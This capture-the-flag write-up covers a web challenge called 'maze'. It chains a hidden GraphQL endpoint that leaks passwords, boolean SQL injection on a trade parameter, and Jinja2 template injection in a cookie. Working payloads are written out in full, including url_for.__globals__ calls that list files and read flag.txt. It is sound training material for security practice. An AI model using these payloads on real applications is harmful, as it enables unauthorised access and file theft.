Tags: sqli flask python graphql ssti 

Rating: 5.0

### Given

```
maze corparate just started a new trading platform, let's hope its secure because I got all my funds over there

author: pop_eax
```

### Analysis

Looking at the linked page shows that sql injection on the login does not seem to work.

Checking robots.txt gives us.
```
/sup3r_secr37_@p1
```

Heading there gives us a graphiql endpoint.

The graphiql endpoint doesn't seem to be open for sql injections either.

After looking at the schema and trying to extract all the information we ended up with the following query:

```
{
allTraders(first: 10) {
edges {
node {
coins(first: 10) {
edges {
node {
title
password
}
}
}
}
}
}
}
```

which returned:

```
{
"data": {
"allTraders": {
"edges": [
{
"node": {
"coins": {
"edges": [
{
"node": {
"title": "XFT",
"password": "iigvj3xMVuSI9GzXhJJWNeI"
}
}
]
}
}
}
]
}
}
}
```

Logging in with `XFT/iigvj3xMVuSI9GzXhJJWNeI` works and gives us a page with three different subpages and a link to `/admin`.

The subpages have a query string `http://207.180.200.166:9000/trade?coin=xft`

Trying out `xft' and 1=1--` seem to work, while `xft' and 1=2--` does not.

**Sql injection time!**

Through sql injection we mapped out the database and found the admin table, with the username / pw `admin/p0To3zTQuvFDzjhO9`.

We log in with those credentials and end up on a page that is mocking our presence.

![mocking](https://luftenshjaltar.info/writeups/0x41414141ctf/web/maze/mocking.png)

The word skid is also set in the cookie called `name`. There doesn't seem to be anywhere in the client side code that actually gets the cookie. Making us think that the variable is parsed server side through some templating engines.

After a LOT of trial and error we finally found a templating language that seemed to fit the bill. By sending `{{self.__class__}}` as the cookie we identified that the server was running `jinja2` for templating. Now that we know it is python we wanted to look for popular web servers, we tried to look for standard `flask` functions like `g`, `config` and `url_for`. We found all of them.

Now it was finally time for the exploit.

### Implementation

Knowing that `url_for` give us access to `__globals__` we could easily use that to list the current directory with
```
{{ url_for.__globals__.os.listdir('./') }}
```

which responded with

```
['app.py', 'static', 'templates', 'note', 'flag.txt', 'requirements.txt', 'coins.db', 'wsgi.py', 'Dockerfile', 'run.sh', '__pycache__', 'sandbox']
```

**flag.txt seems relevant!**

```
{{ url_for.__globals__.os.__builtins__.open('flag.txt').read() }}
```

```
flag{u_35c@p3d_7h3_m@z3_5ucc3ssfu77y9933}
```
### Flag found! flag{u_35c@p3d_7h3_m@z3_5ucc3ssfu77y9933}

Original writeup (https://luftenshjaltar.info/writeups/0x41414141ctf/web/maze/).